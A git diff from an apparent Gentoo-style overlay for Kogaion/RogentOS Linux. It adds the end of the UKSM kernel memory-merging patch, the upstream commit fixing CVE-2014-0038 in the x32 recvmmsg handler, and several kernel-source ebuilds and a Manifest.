++static ssize_t sleep_millisecs_show(struct kobject *kobj,
++				    struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%u\n", jiffies_to_msecs(uksm_sleep_jiffies));
++}
++
++static ssize_t sleep_millisecs_store(struct kobject *kobj,
++				     struct kobj_attribute *attr,
++				     const char *buf, size_t count)
++{
++	unsigned long msecs;
++	int err;
++
++	err = strict_strtoul(buf, 10, &msecs);
++	if (err || msecs > MSEC_PER_SEC)
++		return -EINVAL;
++
++	uksm_sleep_jiffies = msecs_to_jiffies(msecs);
++	uksm_sleep_saved = uksm_sleep_jiffies;
++
++	return count;
++}
++UKSM_ATTR(sleep_millisecs);
++
++
++static ssize_t cpu_governor_show(struct kobject *kobj,
++				  struct kobj_attribute *attr, char *buf)
++{
++	int n = sizeof(uksm_cpu_governor_str) / sizeof(char *);
++	int i;
++
++	buf[0] = '\0';
++	for (i = 0; i < n ; i++) {
++		if (uksm_cpu_governor == i)
++			strcat(buf, "[");
++
++		strcat(buf, uksm_cpu_governor_str[i]);
++
++		if (uksm_cpu_governor == i)
++			strcat(buf, "]");
++
++		strcat(buf, " ");
++	}
++	strcat(buf, "\n");
++
++	return strlen(buf);
++}
++
++static inline void init_performance_values(void)
++{
++	int i;
++	struct scan_rung *rung;
++	struct uksm_cpu_preset_s *preset = uksm_cpu_preset + uksm_cpu_governor;
++
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		rung = uksm_scan_ladder + i;
++		rung->cpu_ratio = preset->cpu_ratio[i];
++		rung->cover_msecs = preset->cover_msecs[i];
++	}
++
++	uksm_max_cpu_percentage = preset->max_cpu;
++}
++
++static ssize_t cpu_governor_store(struct kobject *kobj,
++				   struct kobj_attribute *attr,
++				   const char *buf, size_t count)
++{
++	int n = sizeof(uksm_cpu_governor_str) / sizeof(char *);
++
++	for (n--; n >=0 ; n--) {
++		if (!strncmp(buf, uksm_cpu_governor_str[n],
++			     strlen(uksm_cpu_governor_str[n])))
++			break;
++	}
++
++	if (n < 0)
++		return -EINVAL;
++	else
++		uksm_cpu_governor = n;
++
++	init_performance_values();
++
++	return count;
++}
++UKSM_ATTR(cpu_governor);
++
++static ssize_t run_show(struct kobject *kobj, struct kobj_attribute *attr,
++			char *buf)
++{
++	return sprintf(buf, "%u\n", uksm_run);
++}
++
++static ssize_t run_store(struct kobject *kobj, struct kobj_attribute *attr,
++			 const char *buf, size_t count)
++{
++	int err;
++	unsigned long flags;
++
++	err = strict_strtoul(buf, 10, &flags);
++	if (err || flags > UINT_MAX)
++		return -EINVAL;
++	if (flags > UKSM_RUN_MERGE)
++		return -EINVAL;
++
++	mutex_lock(&uksm_thread_mutex);
++	if (uksm_run != flags) {
++		uksm_run = flags;
++	}
++	mutex_unlock(&uksm_thread_mutex);
++
++	if (flags & UKSM_RUN_MERGE)
++		wake_up_interruptible(&uksm_thread_wait);
++
++	return count;
++}
++UKSM_ATTR(run);
++
++static ssize_t abundant_threshold_show(struct kobject *kobj,
++				     struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%u\n", uksm_abundant_threshold);
++}
++
++static ssize_t abundant_threshold_store(struct kobject *kobj,
++				      struct kobj_attribute *attr,
++				      const char *buf, size_t count)
++{
++	int err;
++	unsigned long flags;
++
++	err = strict_strtoul(buf, 10, &flags);
++	if (err || flags > 99)
++		return -EINVAL;
++
++	uksm_abundant_threshold = flags;
++
++	return count;
++}
++UKSM_ATTR(abundant_threshold);
++
++static ssize_t thrash_threshold_show(struct kobject *kobj,
++				     struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%u\n", uksm_thrash_threshold);
++}
++
++static ssize_t thrash_threshold_store(struct kobject *kobj,
++				      struct kobj_attribute *attr,
++				      const char *buf, size_t count)
++{
++	int err;
++	unsigned long flags;
++
++	err = strict_strtoul(buf, 10, &flags);
++	if (err || flags > 99)
++		return -EINVAL;
++
++	uksm_thrash_threshold = flags;
++
++	return count;
++}
++UKSM_ATTR(thrash_threshold);
++
++static ssize_t cpu_ratios_show(struct kobject *kobj,
++			       struct kobj_attribute *attr, char *buf)
++{
++	int i, size;
++	struct scan_rung *rung;
++	char *p = buf;
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		rung = &uksm_scan_ladder[i];
++
++		if (rung->cpu_ratio > 0)
++			size = sprintf(p, "%d ", rung->cpu_ratio);
++		else
++			size = sprintf(p, "MAX/%d ",
++					TIME_RATIO_SCALE / -rung->cpu_ratio);
++
++		p += size;
++	}
++
++	*p++ = '\n';
++	*p = '\0';
++
++	return p - buf;
++}
++
++static ssize_t cpu_ratios_store(struct kobject *kobj,
++				      struct kobj_attribute *attr,
++				      const char *buf, size_t count)
++{
++	int i, cpuratios[SCAN_LADDER_SIZE], err;
++	unsigned long value;
++	struct scan_rung *rung;
++	char *p, *end = NULL;
++
++	p = kzalloc(count, GFP_KERNEL);
++	if (!p)
++		return -ENOMEM;
++
++	memcpy(p, buf, count);
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		if (i != SCAN_LADDER_SIZE -1) {
++			end = strchr(p, ' ');
++			if (!end)
++				return -EINVAL;
++
++			*end = '\0';
++		}
++
++		if (strstr(p, "MAX/")) {
++			p = strchr(p, '/') + 1;
++			err = strict_strtoul(p, 10, &value);
++			if (err || value > TIME_RATIO_SCALE || !value)
++				return -EINVAL;
++
++			cpuratios[i] = - (int) (TIME_RATIO_SCALE / value);
++		} else {
++			err = strict_strtoul(p, 10, &value);
++			if (err || value > TIME_RATIO_SCALE || !value)
++				return -EINVAL;
++
++			cpuratios[i] = value;
++		}
++
++		p = end + 1;
++	}
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		rung = &uksm_scan_ladder[i];
++
++		rung->cpu_ratio = cpuratios[i];
++	}
++
++	return count;
++}
++UKSM_ATTR(cpu_ratios);
++
++static ssize_t eval_intervals_show(struct kobject *kobj,
++			       struct kobj_attribute *attr, char *buf)
++{
++	int i, size;
++	struct scan_rung *rung;
++	char *p = buf;
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		rung = &uksm_scan_ladder[i];
++		size = sprintf(p, "%u ", rung->cover_msecs);
++		p += size;
++	}
++
++	*p++ = '\n';
++	*p = '\0';
++
++	return p - buf;
++}
++
++static ssize_t eval_intervals_store(struct kobject *kobj,
++				      struct kobj_attribute *attr,
++				      const char *buf, size_t count)
++{
++	int i, err;
++	unsigned long values[SCAN_LADDER_SIZE];
++	struct scan_rung *rung;
++	char *p, *end = NULL;
++
++	p = kzalloc(count, GFP_KERNEL);
++	if (!p)
++		return -ENOMEM;
++
++	memcpy(p, buf, count);
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		if (i != SCAN_LADDER_SIZE -1) {
++			end = strchr(p, ' ');
++			if (!end)
++				return -EINVAL;
++
++			*end = '\0';
++		}
++
++		err = strict_strtoul(p, 10, &values[i]);
++		if (err)
++			return -EINVAL;
++
++		p = end + 1;
++	}
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		rung = &uksm_scan_ladder[i];
++
++		rung->cover_msecs = values[i];
++	}
++
++	return count;
++}
++UKSM_ATTR(eval_intervals);
++
++static ssize_t ema_per_page_time_show(struct kobject *kobj,
++				 struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%lu\n", uksm_ema_page_time);
++}
++UKSM_ATTR_RO(ema_per_page_time);
++
++static ssize_t pages_shared_show(struct kobject *kobj,
++				 struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%lu\n", uksm_pages_shared);
++}
++UKSM_ATTR_RO(pages_shared);
++
++static ssize_t pages_sharing_show(struct kobject *kobj,
++				  struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%lu\n", uksm_pages_sharing);
++}
++UKSM_ATTR_RO(pages_sharing);
++
++static ssize_t pages_unshared_show(struct kobject *kobj,
++				   struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%lu\n", uksm_pages_unshared);
++}
++UKSM_ATTR_RO(pages_unshared);
++
++static ssize_t full_scans_show(struct kobject *kobj,
++			       struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%llu\n", fully_scanned_round);
++}
++UKSM_ATTR_RO(full_scans);
++
++static ssize_t pages_scanned_show(struct kobject *kobj,
++				  struct kobj_attribute *attr, char *buf)
++{
++	unsigned long base = 0;
++	u64 delta, ret;
++
++	if (pages_scanned_stored) {
++		base = pages_scanned_base;
++		ret = pages_scanned_stored;
++		delta = uksm_pages_scanned >> base;
++		if (CAN_OVERFLOW_U64(ret, delta)) {
++			ret >>= 1;
++			delta >>= 1;
++			base++;
++			ret += delta;
++		}
++	} else {
++		ret = uksm_pages_scanned;
++	}
++
++	while (ret > ULONG_MAX) {
++		ret >>= 1;
++		base++;
++	}
++
++	if (base)
++		return sprintf(buf, "%lu * 2^%lu\n", (unsigned long)ret, base);
++	else
++		return sprintf(buf, "%lu\n", (unsigned long)ret);
++}
++UKSM_ATTR_RO(pages_scanned);
++
++static ssize_t hash_strength_show(struct kobject *kobj,
++				  struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%lu\n", hash_strength);
++}
++UKSM_ATTR_RO(hash_strength);
++
++static ssize_t sleep_times_show(struct kobject *kobj,
++				  struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%llu\n", uksm_sleep_times);
++}
++UKSM_ATTR_RO(sleep_times);
++
++
++static struct attribute *uksm_attrs[] = {
++	&max_cpu_percentage_attr.attr,
++	&sleep_millisecs_attr.attr,
++	&cpu_governor_attr.attr,
++	&run_attr.attr,
++	&ema_per_page_time_attr.attr,
++	&pages_shared_attr.attr,
++	&pages_sharing_attr.attr,
++	&pages_unshared_attr.attr,
++	&full_scans_attr.attr,
++	&pages_scanned_attr.attr,
++	&hash_strength_attr.attr,
++	&sleep_times_attr.attr,
++	&thrash_threshold_attr.attr,
++	&abundant_threshold_attr.attr,
++	&cpu_ratios_attr.attr,
++	&eval_intervals_attr.attr,
++	NULL,
++};
++
++static struct attribute_group uksm_attr_group = {
++	.attrs = uksm_attrs,
++	.name = "uksm",
++};
++#endif /* CONFIG_SYSFS */
++
++static inline void init_scan_ladder(void)
++{
++	int i;
++	struct scan_rung *rung;
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		rung = uksm_scan_ladder + i;
++		slot_tree_init_root(&rung->vma_root);
++	}
++
++	init_performance_values();
++	uksm_calc_scan_pages();
++}
++
++static inline int cal_positive_negative_costs(void)
++{
++	struct page *p1, *p2;
++	unsigned char *addr1, *addr2;
++	unsigned long i, time_start, hash_cost;
++	unsigned long loopnum = 0;
++
++	/*IMPORTANT: volatile is needed to prevent over-optimization by gcc. */
++	volatile u32 hash;
++	volatile int ret;
++
++	p1 = alloc_page(GFP_KERNEL);
++	if (!p1)
++		return -ENOMEM;
++
++	p2 = alloc_page(GFP_KERNEL);
++	if (!p2)
++		return -ENOMEM;
++
++	addr1 = kmap_atomic(p1);
++	addr2 = kmap_atomic(p2);
++	memset(addr1, prandom_u32(), PAGE_SIZE);
++	memcpy(addr2, addr1, PAGE_SIZE);
++
++	/* make sure that the two pages differ in last byte */
++	addr2[PAGE_SIZE-1] = ~addr2[PAGE_SIZE-1];
++	kunmap_atomic(addr2);
++	kunmap_atomic(addr1);
++
++	time_start = jiffies;
++	while (jiffies - time_start < 100) {
++		for (i = 0; i < 100; i++)
++			hash = page_hash(p1, HASH_STRENGTH_FULL, 0);
++		loopnum += 100;
++	}
++	hash_cost = (jiffies - time_start);
++
++	time_start = jiffies;
++	for (i = 0; i < loopnum; i++)
++		ret = pages_identical(p1, p2);
++	memcmp_cost = HASH_STRENGTH_FULL * (jiffies - time_start);
++	memcmp_cost /= hash_cost;
++	printk(KERN_INFO "UKSM: relative memcmp_cost = %lu "
++			 "hash=%u cmp_ret=%d.\n",
++	       memcmp_cost, hash, ret);
++
++	__free_page(p1);
++	__free_page(p2);
++	return 0;
++}
++
++static int init_zeropage_hash_table(void)
++{
++	struct page *page;
++	char *addr;
++	int i;
++
++	page = alloc_page(GFP_KERNEL);
++	if (!page)
++		return -ENOMEM;
++
++	addr = kmap_atomic(page);
++	memset(addr, 0, PAGE_SIZE);
++	kunmap_atomic(addr);
++
++	zero_hash_table = kmalloc(HASH_STRENGTH_MAX * sizeof(u32),
++		GFP_KERNEL);
++	if (!zero_hash_table)
++		return -ENOMEM;
++
++	for (i = 0; i < HASH_STRENGTH_MAX; i++)
++		zero_hash_table[i] = page_hash(page, i, 0);
++
++	__free_page(page);
++
++	return 0;
++}
++
++static inline int init_random_sampling(void)
++{
++	unsigned long i;
++	random_nums = kmalloc(PAGE_SIZE, GFP_KERNEL);
++	if (!random_nums)
++		return -ENOMEM;
++
++	for (i = 0; i < HASH_STRENGTH_FULL; i++)
++		random_nums[i] = i;
++
++	for (i = 0; i < HASH_STRENGTH_FULL; i++) {
++		unsigned long rand_range, swap_index, tmp;
++
++		rand_range = HASH_STRENGTH_FULL - i;
++		swap_index = i + prandom_u32() % rand_range;
++		tmp = random_nums[i];
++		random_nums[i] =  random_nums[swap_index];
++		random_nums[swap_index] = tmp;
++	}
++
++	rshash_state.state = RSHASH_NEW;
++	rshash_state.below_count = 0;
++	rshash_state.lookup_window_index = 0;
++
++	return cal_positive_negative_costs();
++}
++
++static int __init uksm_slab_init(void)
++{
++	rmap_item_cache = UKSM_KMEM_CACHE(rmap_item, 0);
++	if (!rmap_item_cache)
++		goto out;
++
++	stable_node_cache = UKSM_KMEM_CACHE(stable_node, 0);
++	if (!stable_node_cache)
++		goto out_free1;
++
++	node_vma_cache = UKSM_KMEM_CACHE(node_vma, 0);
++	if (!node_vma_cache)
++		goto out_free2;
++
++	vma_slot_cache = UKSM_KMEM_CACHE(vma_slot, 0);
++	if (!vma_slot_cache)
++		goto out_free3;
++
++	tree_node_cache = UKSM_KMEM_CACHE(tree_node, 0);
++	if (!tree_node_cache)
++		goto out_free4;
++
++	return 0;
++
++out_free4:
++	kmem_cache_destroy(vma_slot_cache);
++out_free3:
++	kmem_cache_destroy(node_vma_cache);
++out_free2:
++	kmem_cache_destroy(stable_node_cache);
++out_free1:
++	kmem_cache_destroy(rmap_item_cache);
++out:
++	return -ENOMEM;
++}
++
++static void __init uksm_slab_free(void)
++{
++	kmem_cache_destroy(stable_node_cache);
++	kmem_cache_destroy(rmap_item_cache);
++	kmem_cache_destroy(node_vma_cache);
++	kmem_cache_destroy(vma_slot_cache);
++	kmem_cache_destroy(tree_node_cache);
++}
++
++/* Common interface to ksm, different to it. */
++int ksm_madvise(struct vm_area_struct *vma, unsigned long start,
++		unsigned long end, int advice, unsigned long *vm_flags)
++{
++	int err;
++
++	switch (advice) {
++	case MADV_MERGEABLE:
++		return 0;		/* just ignore the advice */
++
++	case MADV_UNMERGEABLE:
++		if (!(*vm_flags & VM_MERGEABLE))
++			return 0;		/* just ignore the advice */
++
++		if (vma->anon_vma) {
++			err = unmerge_uksm_pages(vma, start, end);
++			if (err)
++				return err;
++		}
++
++		uksm_remove_vma(vma);
++		*vm_flags &= ~VM_MERGEABLE;
++		break;
++	}
++
++	return 0;
++}
++
++/* Common interface to ksm, actually the same. */
++struct page *ksm_might_need_to_copy(struct page *page,
++			struct vm_area_struct *vma, unsigned long address)
++{
++	struct anon_vma *anon_vma = page_anon_vma(page);
++	struct page *new_page;
++
++	if (PageKsm(page)) {
++		if (page_stable_node(page))
++			return page;	/* no need to copy it */
++	} else if (!anon_vma) {
++		return page;		/* no need to copy it */
++	} else if (anon_vma->root == vma->anon_vma->root &&
++		 page->index == linear_page_index(vma, address)) {
++		return page;		/* still no need to copy it */
++	}
++	if (!PageUptodate(page))
++		return page;		/* let do_swap_page report the error */
++
++	new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
++	if (new_page) {
++		copy_user_highpage(new_page, page, address, vma);
++
++		SetPageDirty(new_page);
++		__SetPageUptodate(new_page);
++		__set_page_locked(new_page);
++	}
++
++	return new_page;
++}
++
++static int __init uksm_init(void)
++{
++	struct task_struct *uksm_thread;
++	int err;
++
++	uksm_sleep_jiffies = msecs_to_jiffies(100);
++	uksm_sleep_saved = uksm_sleep_jiffies;
++
++	slot_tree_init();
++	init_scan_ladder();
++
++
++	err = init_random_sampling();
++	if (err)
++		goto out_free2;
++
++	err = uksm_slab_init();
++	if (err)
++		goto out_free1;
++
++	err = init_zeropage_hash_table();
++	if (err)
++		goto out_free0;
++
++	uksm_thread = kthread_run(uksm_scan_thread, NULL, "uksmd");
++	if (IS_ERR(uksm_thread)) {
++		printk(KERN_ERR "uksm: creating kthread failed\n");
++		err = PTR_ERR(uksm_thread);
++		goto out_free;
++	}
++
++#ifdef CONFIG_SYSFS
++	err = sysfs_create_group(mm_kobj, &uksm_attr_group);
++	if (err) {
++		printk(KERN_ERR "uksm: register sysfs failed\n");
++		kthread_stop(uksm_thread);
++		goto out_free;
++	}
++#else
++	uksm_run = UKSM_RUN_MERGE;	/* no way for user to start it */
++
++#endif /* CONFIG_SYSFS */
++
++#ifdef CONFIG_MEMORY_HOTREMOVE
++	/*
++	 * Choose a high priority since the callback takes uksm_thread_mutex:
++	 * later callbacks could only be taking locks which nest within that.
++	 */
++	hotplug_memory_notifier(uksm_memory_callback, 100);
++#endif
++	return 0;
++
++out_free:
++	kfree(zero_hash_table);
++out_free0:
++	uksm_slab_free();
++out_free1:
++	kfree(random_nums);
++out_free2:
++	kfree(uksm_scan_ladder);
++	return err;
++}
++
++#ifdef MODULE
++module_init(uksm_init)
++#else
++late_initcall(uksm_init);
++#endif
++
+diff --git a/mm/vmstat.c b/mm/vmstat.c
+index f42745e..1796e0c 100644
+--- a/mm/vmstat.c
++++ b/mm/vmstat.c
+@@ -739,6 +739,9 @@ const char * const vmstat_text[] = {
+ #endif
+ 	"nr_anon_transparent_hugepages",
+ 	"nr_free_cma",
++#ifdef CONFIG_UKSM
++	"nr_uksm_zero_pages",
++#endif
+ 	"nr_dirty_threshold",
+ 	"nr_dirty_background_threshold",
+ 
diff --git a/sys-kernel/kogaion-sources/files/security/0001-x86-x32-Correct-invalid-use-of-user-timespec-in-the-.patch b/sys-kernel/kogaion-sources/files/security/0001-x86-x32-Correct-invalid-use-of-user-timespec-in-the-.patch
new file mode 100644
index 00000000..3f1bccc8
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/security/0001-x86-x32-Correct-invalid-use-of-user-timespec-in-the-.patch
@@ -0,0 +1,80 @@
+From 2def2ef2ae5f3990aabdbe8a755911902707d268 Mon Sep 17 00:00:00 2001
+From: PaX Team <pageexec@freemail.hu>
+Date: Thu, 30 Jan 2014 16:59:25 -0800
+Subject: [PATCH] x86, x32: Correct invalid use of user timespec in the kernel
+
+The x32 case for the recvmsg() timout handling is broken:
+
+  asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
+                                      unsigned int vlen, unsigned int flags,
+                                      struct compat_timespec __user *timeout)
+  {
+          int datagrams;
+          struct timespec ktspec;
+
+          if (flags & MSG_CMSG_COMPAT)
+                  return -EINVAL;
+
+          if (COMPAT_USE_64BIT_TIME)
+                  return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
+                                        flags | MSG_CMSG_COMPAT,
+                                        (struct timespec *) timeout);
+          ...
+
+The timeout pointer parameter is provided by userland (hence the __user
+annotation) but for x32 syscalls it's simply cast to a kernel pointer
+and is passed to __sys_recvmmsg which will eventually directly
+dereference it for both reading and writing.  Other callers to
+__sys_recvmmsg properly copy from userland to the kernel first.
+
+The bug was introduced by commit ee4fa23c4bfc ("compat: Use
+COMPAT_USE_64BIT_TIME in net/compat.c") and should affect all kernels
+since 3.4 (and perhaps vendor kernels if they backported x32 support
+along with this code).
+
+Note that CONFIG_X86_X32_ABI gets enabled at build time and only if
+CONFIG_X86_X32 is enabled and ld can build x32 executables.
+
+Other uses of COMPAT_USE_64BIT_TIME seem fine.
+
+This addresses CVE-2014-0038.
+
+Signed-off-by: PaX Team <pageexec@freemail.hu>
+Signed-off-by: H. Peter Anvin <hpa@linux.intel.com>
+Cc: <stable@vger.kernel.org> # v3.4+
+Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
+---
+ net/compat.c | 9 ++-------
+ 1 file changed, 2 insertions(+), 7 deletions(-)
+
+diff --git a/net/compat.c b/net/compat.c
+index dd32e34..f50161f 100644
+--- a/net/compat.c
++++ b/net/compat.c
+@@ -780,21 +780,16 @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
+ 	if (flags & MSG_CMSG_COMPAT)
+ 		return -EINVAL;
+ 
+-	if (COMPAT_USE_64BIT_TIME)
+-		return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
+-				      flags | MSG_CMSG_COMPAT,
+-				      (struct timespec *) timeout);
+-
+ 	if (timeout == NULL)
+ 		return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
+ 				      flags | MSG_CMSG_COMPAT, NULL);
+ 
+-	if (get_compat_timespec(&ktspec, timeout))
++	if (compat_get_timespec(&ktspec, timeout))
+ 		return -EFAULT;
+ 
+ 	datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
+ 				   flags | MSG_CMSG_COMPAT, &ktspec);
+-	if (datagrams > 0 && put_compat_timespec(&ktspec, timeout))
++	if (datagrams > 0 && compat_put_timespec(&ktspec, timeout))
+ 		datagrams = -EFAULT;
+ 
+ 	return datagrams;
+-- 
+1.8.5.3
+
diff --git a/sys-kernel/kogaion-sources/kogaion-sources-3.10.25.ebuild b/sys-kernel/kogaion-sources/kogaion-sources-3.10.25.ebuild
new file mode 100644
index 00000000..dedc361b
--- /dev/null
+++ b/sys-kernel/kogaion-sources/kogaion-sources-3.10.25.ebuild
@@ -0,0 +1,55 @@
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+inherit eutils
+
+SLOT=$PVR
+CKV=3.10.25
+KV_FULL=${PN}-${PVR}
+EXTRAVERSION=kogaion
+KERNEL_ARCHIVE="linux-${PV}.tar.xz"
+PATCH_ARCHIVE="linux-${PV}-kogaion.tar.gz"
+RESTRICT="binchecks strip mirror"
+LICENSE="GPL-2"
+KEYWORDS="amd64 x86"
+
+IUSE=""
+DEPEND=""
+RDEPEND=""
+DESCRIPTION="Kogaion Linux Kernel Sources"
+HOMEPAGE="http://www.debian.org"
+SRC_URI="https://www.kernel.org/pub/linux/kernel/v3.x/${KERNEL_ARCHIVE}"
+
+S="$WORKDIR/linux-${CKV}"
+
+pkg_setup() {
+	export REAL_ARCH="$ARCH"
+	unset ARCH ; unset LDFLAGS #will interfere with Makefile if set
+}
+
+src_prepare() {
+
+	for p in $(ls ${FILESDIR}/security); do
+		epatch -p1 "${FILESDIR}/security/$p" || die
+	done
+	
+	for p in $(ls ${FILESDIR}/desktop) ; do
+		epatch -p1 "${FILESDIR}/desktop/$p" || die
+	done
+
+	rm -f .config || die
+}
+
+src_compile() {
+	einfo "Preparing kernel sources for real-world use" || die
+	make -s mrproper || die "make mrproper failed"
+}
+
+src_install() {
+	dodir /usr/src/linux-${PV}-kogaion || die
+	insinto /usr/src/linux-${PV}-kogaion || die
+	doins -r "${S}"/* || die
+	cd ${D}/usr/src/linux-${PV}-kogaion || die
+	make mrproper || die
+}
diff --git a/sys-kernel/linux-sabayon/Manifest b/sys-kernel/linux-sabayon/Manifest
new file mode 100644
index 00000000..afc97b5e
--- /dev/null
+++ b/sys-kernel/linux-sabayon/Manifest
@@ -0,0 +1,2 @@
+DIST linux-3.2-r2+sabayon.tar.bz2 78655819 RMD160 a198cc183321ef918bf4da890d114f2fd1008924 SHA1 98c84ea498ee37df2fdc148d484660c340f42100 SHA256 2fc73a8afe216476ba18a744cb5d021dc17d1607e305ce6a0de0eae67f86f494
+EBUILD linux-sabayon-3.2-r2.ebuild 373 RMD160 107a74fd914b7a22077a1729f7ff7c1f8e7d328f SHA1 f5060e12322aac857cda3feb0a5c3dd09ab85b5e SHA256 ee2fb4eb10a4dda43eacda6ad5872926557ff2583fad45ef647ea310a967c830
diff --git a/sys-kernel/linux-sabayon/linux-sabayon-3.2-r2.ebuild b/sys-kernel/linux-sabayon/linux-sabayon-3.2-r2.ebuild
new file mode 100644
index 00000000..e6b919b0
--- /dev/null
+++ b/sys-kernel/linux-sabayon/linux-sabayon-3.2-r2.ebuild
@@ -0,0 +1,12 @@
+# Copyright 2004-2010 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+ETYPE="sources"
+K_SABKERNEL_SELF_TARBALL_NAME="sabayon"
+K_REQUIRED_LINUX_FIRMWARE_VER="20111025"
+K_SABKERNEL_FORCE_SUBLEVEL="0"
+inherit sabayon-kernel rogentos-artwork
+
+KEYWORDS="~amd64 ~x86"
+DESCRIPTION="Official Sabayon Linux Standard kernel image"
+RESTRICT="mirror"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.10.26.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.10.26.ebuild
new file mode 100644
index 00000000..2cec6130
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.10.26.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.10.27.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.10.27.ebuild
new file mode 100644
index 00000000..2cec6130
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.10.27.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.11.10.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.11.10.ebuild
new file mode 100644
index 00000000..2cec6130
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.11.10.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild
new file mode 100644
index 00000000..756f78ae
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 RogentOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+K_ROGKERNEL_PATCH_UPSTREAM_TARBALL="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.12.7.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.12.7.ebuild
new file mode 100644
index 00000000..2cec6130
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.12.7.ebuild
